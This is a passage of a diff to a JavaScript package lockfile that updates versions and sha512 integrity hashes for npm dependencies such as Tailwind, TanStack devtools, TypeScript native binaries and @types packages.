"@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.1", "", { "os": "linux", "cpu": "x64" }, "sha512-Ymi8O8T15HYQdOUWUtTI6ldN0neHP85FC+Qz32xTcZ7iJXtem/x8ITev0o1e9e5rkqj4lONZfTRLvkmin1+tKg=="], + "@types/react-dom": ["@types/react-dom@19.2.5", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-fMPwH9v7r/pp43yUd2/Mbiex5KouJwwR3dzHkhLREUC6764VyDsqxhAxv6OFEYR1RhjOyD1naqba8ECDBe7ZQg=="], - "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.1", "", { "os": "linux", "cpu": "x64" }, "sha512-M+P/91qJ6uILLw4k2G93GMDRAXj61SMvFQYt39AqvUqYgExXpLL5aepfns7sj4HiAQeolirQF9E0lzRvdf4zPQ=="], + "@types/react-syntax-highlighter": ["@types/react-syntax-highlighter@15.5.13", "", { "dependencies": { "@types/react": "*" } }, "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA=="], - "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.1", "", { "dependencies": { "@emnapi/core": "^1.10.0", "@emnapi/runtime": "^1.10.0", "@emnapi/wasi-threads": "^1.2.1", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.2", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-zsM8uOeqvVGHsAXsJxsT28ttosFahLJKCLOTUBqRAtKnVgGSRitds9T432QiT8b77Yga7JIBkulIRRlJPtYhRA=="], + "@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="], - "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-aiNvSq9BsVk8V513lDKlrCFAgf8qBMPZTpgEhInL+NwQqs97mYmupVMrPrgBBSL8Pv/0zXu9MrMF9rMun1ZeNg=="], + "@typescript/typescript-aix-ppc64": ["@typescript/typescript-aix-ppc64@7.0.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKiPXMxXtQ=="], - "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.1", "", { "os": "win32", "cpu": "x64" }, "sha512-xDEyu1rg290472FEGaKHnzyDyh5QH+AlWvsU5hMoMtPpzmKlRI0jaYKCgSHDYtaQWZOYbMaduSyCwFwY4n1HmA=="], + "@typescript/typescript-darwin-arm64": ["@typescript/typescript-darwin-arm64@7.0.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-gowzar9MwS/aRWp6f3a4KUqzRjAZjOsmGNCM6LcTgXum+dBfgsBVMN+AgvOCCbguXyick6LJhpBszxMebJ8syA=="], - "@tailwindcss/vite": ["@tailwindcss/vite@4.3.1", "", { "dependencies": { "@tailwindcss/node": "4.3.1", "@tailwindcss/oxide": "4.3.1", "tailwindcss": "4.3.1" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-hItDHuIIlEV61R+faXu66s1K36aTurO/Qw0e45Vskz57gXl9pWOT6eg3zmcEui6CZXddbN7zd41bwmvag4JGwQ=="], + "@typescript/typescript-darwin-x64": ["@typescript/typescript-darwin-x64@7.0.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-SZ9xZInqApNlNGc9s0W1VSsktYSOe9cFqNOIqmN1Gs8SmkjKZYFt017G4VwPxASInODuAdbTW7sXiFUf893RgA=="], - "@tanstack/devtools": ["@tanstack/devtools@0.10.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-6TPNl3jTrCFpyV3m9lBeHxum6btmiihbv+A3xkDpt3JScRcWP1a8G5rZzKhlOtikzG1QSiceRrbckKnIAvZ7FQ=="], + "@typescript/typescript-freebsd-arm64": ["@typescript/typescript-freebsd-arm64@7.0.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-W5NH4y/J0plIIS5b2xvTEkU7JFxyqdMAOgf+Ilhl0vHQXKO5dZoxd+C/jEtq56c4F3wk71RB4BMRQ2XdI+bwYQ=="], - "@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.5", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.4.0" } }, "sha512-hsNDE3iu4frt9cC2ppn1mNRnLKo2uc1/1hXAyY9z4UYb+o40M2clFAhiFoo4HngjfGJDV3x18KVVIq7W4Un+zA=="], + "@typescript/typescript-freebsd-x64": ["@typescript/typescript-freebsd-x64@7.0.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-UMGDx5sTpzNw3WiPebH7l90IWfJggEd+egHt/q6p7/Cm3zqoV7VxkGXt+3DxPIw8CcmvAB0j3sVVfbhX+M4Tpw=="], - "@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.4.0", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-1t+/csFuDzi+miDxAOh6Xv7VDE80gJEItkTcAZLjV5MRulbO/W8ocjHLI2Do/p2r2/FBU0eKCRTpdqvXaYoHpQ=="], + "@typescript/typescript-linux-arm": ["@typescript/typescript-linux-arm@7.0.2", "", { "os": "linux", "cpu": "arm" }, "sha512-gffT3xPz9sR7j/YJExkyPntrI0P2EP9XbOyWzth2/Gs0RstK+90RBcO0ncXoXy/beYll1SXw846Nf2zdnEz0QQ=="], - "@tanstack/devtools-event-client": ["@tanstack/devtools-event-client@0.4.0", "", {}, "sha512-RPfGuk2bDZgcu9bAJodvO2lnZeHuz4/71HjZ0bGb/SPg8+lyTA+RLSKQvo7fSmPSi8/vcH3aKQ8EM9ywf1olaw=="], + "@typescript/typescript-linux-arm64": ["@typescript/typescript-linux-arm64@7.0.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-Qh4eU4/y3yDjnfjjyPYihMj5/ODIlmt+Bzu17OI+fiSRDW57QmU5SiN63exPRNJPKUzcc1INa1NXdrJ+MqHjUQ=="], - "@tanstack/devtools-ui": ["@tanstack/devtools-ui@0.4.4", "", { "dependencies": { "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-5xHXFyX3nom0UaNfiOM92o6ziaHjGo3mcSGe2HD5Xs8dWRZNpdZ0Smd0B9ddEhy0oB+gXyMzZgUJb9DmrZV0Mg=="], + "@typescript/typescript-linux-loong64": ["@typescript/typescript-linux-loong64@7.0.2", "", { "os": "linux", "cpu": "none" }, "sha512-uEHck9i8hoAzXPiYRib1O7miOnz23SxIeVl6F4LXox+qov1K35jHcEW6VHKvZI+pyvl7fZEP4MCU5LYvIq1GuQ=="], - "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], + "@typescript/typescript-linux-mips64el": ["@typescript/typescript-linux-mips64el@7.0.2", "", { "os": "linux", "cpu": "none" }, "sha512-R4KvAMnE43W5Qeqb0Ly56O3mWMWIAgsMyz36DCaycd5nbg/9kzm0liw3JocfRqyJY0KPmzFjbswozXyW0DnIYA=="], - "@tanstack/query-core": ["@tanstack/query-core@5.101.2", "", {}, "sha512-hH5MLoJhF7KaIGd7q3xTXGXvslI+GYlM1Z/35aSHHWaCJWB7XvTSHYuV3eM7tw+aE0mT/xMro4M4Q9rCGHT0lw=="], + "@typescript/typescript-linux-ppc64": ["@typescript/typescript-linux-ppc64@7.0.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-DORx5b3sd/4S7eayxm4FQv+A7CrkUIGRaHiwI8oiHTAI1fAPWhF4J0vAlkC8biAlHSVVwxMQ3tjZ2/DVbnQiiA=="], - "@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.1", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="], + "@typescript/typescript-linux-riscv64": ["@typescript/typescript-linux-riscv64@7.0.2", "", { "os": "linux", "cpu": "none" }, "sha512-wf0jqEDOjrPRnKwYRyyJDRo11KMbvMFrU+q4zqKyChODBzvlkbhNQfKvLxQCcwTpdDaXSHZTVuh0JoCrKCUMHQ=="], - "@tanstack/react-query": ["@tanstack/react-query@5.101.2", "", { "dependencies": { "@tanstack/query-core": "5.101.2" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-seDkr6kzGzX1okaaTtZPtgA688CDPlXUz1C6xSg0ESqn04Vuc8tlrYms1s3de+znBqhPVxFRfpAfUf+6XvfPWg=="], + "@typescript/typescript-linux-s390x": ["@typescript/typescript-linux-s390x@7.0.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-IkwJc3L7yhytWd/ewjyxNDfOmswCm9GWMJT/ue/dU4aZNbwZeYAetq42VyLmsmSjvoX7z74X6ZaYCtzAr0EuGw=="], - "@tybys/wasm-util": ["@tybys/wasm-util@0.10.3", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg=="], + "@typescript/typescript-linux-x64": ["@typescript/typescript-linux-x64@7.0.2", "", { "os": "linux", "cpu": "x64" }, "sha512-EYdf2cNg7rgCWJnxCdJ+F3V39O8ihb37eHAu1LK8oAFizgTQbPOK7zHHXbPt8rX24COqODXeI3sIf0fCXG7H/A=="], - "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], + "@typescript/typescript-netbsd-arm64": ["@typescript/typescript-netbsd-arm64@7.0.2", "", { "os": "none", "cpu": "arm64" }, "sha512-+polYF4MF04aPpO5FTkHran9yUQDSXqy5GiSDKpsll5jy3l3+g9QLhpf39T+ePtefhXLOGrLl0QIjkQP6VnelA=="], - "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="], + "@typescript/typescript-netbsd-x64": ["@typescript/typescript-netbsd-x64@7.0.2", "", { "os": "none", "cpu": "x64" }, "sha512-8YIT0EHM/3dq10ZOVF/A7pc/YSMtbcecct4rWtexrnSCHOPcpC2KTLXfTCR6vDpnSiY12heNb1GiN/wu+T/FyA=="], - "@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="], + "@typescript/typescript-openbsd-arm64": ["@typescript/typescript-openbsd-arm64@7.0.2", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-APT8+ClYnuYm1u9+kgGXoMj2VzWzcymwh2gNSQVySHfkRDGOTVkoWLjCmOQSaO+PoqQ57B0flRp9SA+7GnnkzQ=="], - "@types/estree-jsx": ["@types/estree-jsx@1.0.5", "", { "dependencies": { "@types/estree": "*" } }, "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg=="], + "@typescript/typescript-openbsd-x64": ["@typescript/typescript-openbsd-x64@7.0.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-yX7s+Q0Dln0Dt9tEzZsAjXXR/+ytBM7AlglaqyeMPxQszJ1JhlJdZ6jLA+IzldHtflX81em7lDao1xXu+aRRkg=="], - "@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="], + "@typescript/typescript-sunos-x64": ["@typescript/typescript-sunos-x64@7.0.2", "", { "os": "sunos", "cpu": "x64" }, "sha512-dLJDGaLZ1D4HPQn62u1n8mBDkJREwMsAkCdkwd4Ieqw+x3TUyTsqY0YiBCtE6H6OzzgGk3iuZ3vFWRS+E8/d1g=="], - "@types/mdast": ["@types/mdast@4.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA=="], + "@typescript/typescript-win32-arm64": ["@typescript/typescript-win32-arm64@7.0.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-Gyl1Vy6OsWesLzmq+EP0Fb7b4Nid5232AvcA2SFcdYreldpNtYFFofPjnt62y9hQy7VTaZp65ICJjuAQRaVcIQ=="], - "@types/mdx": ["@types/mdx@2.0.14", "", {}, "sha512-T48PeuJtvLosNTPVhfnIp3i/n3a4g4Bad7YCq5k64D4u7NwDrAotikQ+5+sjtUvBmxCMlbo3dVL+C2dP0rWHzg=="], + "@typescript/typescript-win32-x64": ["@typescript/typescript-win32-x64@7.0.2", "", { "os": "win32", "cpu": "x64" }, "sha512-0BQ3HkAHHlKLSp1qRvf3SUhGpGsDuhB/jgFw75guyqbxJqEaS0Cw/VFO8i2nHglJUzQCRtMMR/IBAKE3ETMC4g=="], - "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], + "@ungap/structured-clone": ["@ungap/structured-clone@1.4.0", "", {}, "sha512-1mEZtMKPM09vDmQt5y7YvmN2+DFTP7Tg0EWXdic8/C6VRnpb33e4ghisCIE3WZjsE2N8mf+QV1Zqh7ZFYLWInQ=="], - "@types/node": ["@types/node@26.0.1", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-fc3KiUoBt6kie0N9bIW3E47vZsuaMf0PM2AaUpLCLT0s/LvX1nxAim6Fc049cNxODPpGm6qRAuUOB86SkRuPQw=="], + "@yuku-analyzer/binding-android-arm64": ["@yuku-analyzer/binding-android-arm64@0.9.3", "", { "os": "android", "cpu": "arm64" }, "sha512-6dOwkawiJYtUUBchfjrFo7poz460Yg+aQNgr4lHUPZ2fNW+llpMEZkbznTq25BEmmiBGPJr+L15dzTvR8zP4vQ=="], - "@types/prismjs": ["@types/prismjs@1.26.5", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="], + "@yuku-analyzer/binding-darwin-arm64": ["@yuku-analyzer/binding-darwin-arm64@0.9.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-DTRoWK7AqNfshN+DcCS/s4n86br0ZusISeXLZWWNuvnZ3b9LCVXdWRVPlnMpEwsmSH3c3QSwL7MAOPyEHMe+FA=="], - "@types/react": ["@types/react@19.2.17", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw=="], + "@yuku-analyzer/binding-darwin-x64": ["@yuku-analyzer/binding-darwin-x64@0.9.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-EWzaR0/AL3ikZfUiADG1SmbB+wF7GGhXFKhMWm3RbOTf+ATyEW7Fa9nsjo1K70pWEeVZHRm9MU4iq7LIUEEgfg=="], - "@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="], + "@yuku-analyzer/binding-freebsd-x64": ["@yuku-analyzer/binding-freebsd-x64@0.9.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Ao4/v+ppzIFVs2SldvBM2hc9NsijXNsKc1xUY+d+Nv20HrjRdm96HtrkIViw7zI5i6Ca77jkd8VbhWE8E4kgyg=="], - "@types/react-dom": ["@types/react-dom@19.2.3", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ=="], + "@yuku-analyzer/binding-linux-arm-gnu": ["@yuku-analyzer/binding-linux-arm-gnu@0.9.3", "", { "os": "linux", "cpu": "arm" }, "sha512-EZc2H6bAyl4u3z48Jtqf4Un1657TpOkBWEmSdPCY1tHCO4YUFaNAz4dPA93yWgo5t38oRQT9UoXlwse/4aLtxw=="], - "@types/react-syntax-highlighter": ["@types/react-syntax-highlighter@15.5.13", "", { "dependencies": { "@types/react": "*" } }, "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA=="], + "@yuku-analyzer/binding-linux-arm-musl": ["@yuku-analyzer/binding-linux-arm-musl@0.9.3", "", { "os": "linux", "cpu": "arm" }, "sha512-pKny3wEa2Xl4kPoqNU8fO5NCzcp9VgMAkLpN3GZ5TOkdz23ppuzUqddlhad43/9puxfckX5aZqfxML/1vGoxBw=="], - "@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="], + "@yuku-analyzer/binding-linux-arm64-gnu": ["@yuku-analyzer/binding-linux-arm64-gnu@0.9.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-bfpsIupfbX7N4ueSjo3Zm+Mob0q7MjrZX+INMGcPjNnXBcyKjkzrTotkqbEbwgfiNKhqyDVjynwsh64xsv5IPg=="], + + "@yuku-analyzer/binding-linux-arm64-musl": ["@yuku-analyzer/binding-linux-arm64-musl@0.9.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-Q+AAUrrsgYgHb0/Wrm+HnSKN7xOpkC+6Y2812dZw5/rrSX7+qjRjJ+3uNnCZlkHpH3Hy7WXbLIa/IncP4bcHQA=="], + + "@yuku-analyzer/binding-linux-x64-gnu": ["@yuku-analyzer/binding-linux-x64-gnu@0.9.3", "", { "os": "linux", "cpu": "x64" }, "sha512-ZQyjmSDRHTkDlddrzmIG1/nMUYDZC21XUguzQ4qvSWtfq6CsfJvIDFBPfJ03YDNQ+wR0px9Ly/xAa8VC0p9rHQ=="], - "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="], + "@yuku-analyzer/binding-linux-x64-musl": ["@yuku-analyzer/binding-linux-x64-musl@0.9.3", "", { "os": "linux", "cpu": "x64" }, "sha512-EIYzThB5pI3BiZHFNYyY8nMQ38z9l8/kT8uYvfYVpZ9TNEC0YgqX95MH61l9RILCYFDx+DbLoGajGY55JFvb6Q=="], + + "@yuku-analyzer/binding-win32-arm64": ["@yuku-analyzer/binding-win32-arm64@0.9.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-KF+Ho3jtjikfPYJ76NL1KiPYwF+0UjnsASX0k461BZ1Er4pRQG39o8WvsngLT+fDg6JxB3v5J+ScDrto29RVnA=="], + + "@yuku-analyzer/binding-win32-x64": ["@yuku-analyzer/binding-win32-x64@0.9.3", "", { "os": "win32", "cpu": "x64" }, "sha512-4pdUfYVYPf05vyygvWiXsiI/tdPqn5bBiHs7c1TBIm3Kx7/w5pq++myNQ/8CUH/Proz+1kHtCr/lDJF9k67fqg=="], + + "@yuku-toolchain/types": ["@yuku-toolchain/types@0.9.3", "", {}, "sha512-rFE+5P4g2wxko5C85MugJOlVjBHEQq87dIkhLkniLXLp63PEtgaFjD954i5HXlfnyzLxPcZHsSOVDVgmo1HToA=="], "@zeit/schemas": ["@zeit/schemas@2.36.0", "", {}, "sha512-7kjMwcChYEzMKjeex9ZFXkt1AyNov9R5HZtjBKVsmVpw7pa7ZtlCGvCBC2vnnXctaYN+aRI61HjIqeetZW5ROg=="], - "acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], + "acorn": ["acorn@8.18.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ=="], "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="], @@ -576,7 +556,7 @@ "ansi-align": ["ansi-align@3.0.1", "", { "dependencies": { "string-width": "^4.1.0" } }, "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w=="], - "ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + "ansi-regex": ["ansi-regex@6.3.0", "", {}, "sha512-WpDfL7NO6j7tH88IDBNVdUJxDh9nmCteAVW9dsep846XdwF4naCBK+/tGLX3KJgcpgMRXCFlTM2hKGoK9FsdrQ=="], "ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], @@ -584,8 +564,6 @@ "arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="], - "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], - "aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="], "astring": ["astring@1.9.0", "", { "bin": { "astring": "bin/astring" } }, "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg=="], @@ -596,21 +574,21 @@ "balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], - "baseline-browser-mapping": ["baseline-browser-mapping@2.10.40", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-BSSLZ9/Cjjv7Gtj5B68ZzXcXUg8iOf3fme+FCuh8rC/Go+Kmh8cox7M3A8dolou16s64QjLPOSdngh7GxXvkSw=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.11.20", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-H0ulySigv6icDJ1F7SjtdCD6PrhTpdYCmP0CactWy1+ekh0AFd0o1Wn5T8b+hnTmdBx19u9yhL6wvCylXMY7zw=="], "boxen": ["boxen@7.0.0", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^7.0.0", "chalk": "^5.0.1", "cli-boxes": "^3.0.0", "string-width": "^5.1.2", "type-fest": "^2.13.0", "widest-line": "^4.0.1", "wrap-ansi": "^8.0.1" } }, "sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg=="], - "brace-expansion": ["brace-expansion@5.0.5", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ=="], + "brace-expansion": ["brace-expansion@5.0.9", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg=="], - "browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": { "browserslist": "cli.js" } }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "browserslist": ["browserslist@4.28.8", "", { "dependencies": { "baseline-browser-mapping": "^2.11.12", "caniuse-lite": "^1.0.30001809", "electron-to-chromium": "^1.5.402", "node-releases": "^2.0.53", "update-browserslist-db": "^1.3.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-V2NpofLblG64mfOtSgDhOJESZEGogzDMBv/q+W6oc4LXWP/q75eOXoOaaOu1EOadB9U4Bwx/e0yzbvwKH8zalA=="], "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], - "cac": ["cac@6.7.14", "", {}, "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ=="], + "cac": ["cac@7.0.0", "", {}, "sha512-tixWYgm5ZoOD+3g6UTea91eow5z6AAHaho3g0V9CNSNb45gM8SmflpAc+GRd1InC4AqN/07Unrgp56Y94N9hJQ=="], "camelcase": ["camelcase@7.0.1", "", {}, "sha512-xlx1yCK2Oc1APsPXDL2LdlNP6+uu8OCDdhOBSVT279M/S+y75O30C2VuD8T2ogdePBBl7PfPF4504tnLgX3zfw=="], - "caniuse-lite": ["caniuse-lite@1.0.30001759", "", {}, "sha512-Pzfx9fOKoKvevQf8oCXoyNRQ5QyxJj+3O0Rqx2V5oxT61KGx8+n6hV/IUyJeifUci2clnmmKVpvtiqRzgiWjSw=="], + "caniuse-lite": ["caniuse-lite@1.0.30001810", "", {}, "sha512-TITQPUkaz+aVk5GL6NhOdwk1aEaNTSDPsGFWrTuhKGtjTF70jL/Oht2W4c6rXUe5fu7Ie19VIahAXHIIiWWNeg=="], "ccount": ["ccount@2.0.1", "", {}, "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="], @@ -628,7 +606,7 @@ "character-reference-invalid": ["character-reference-invalid@2.0.1", "", {}, "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw=="], - "chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, 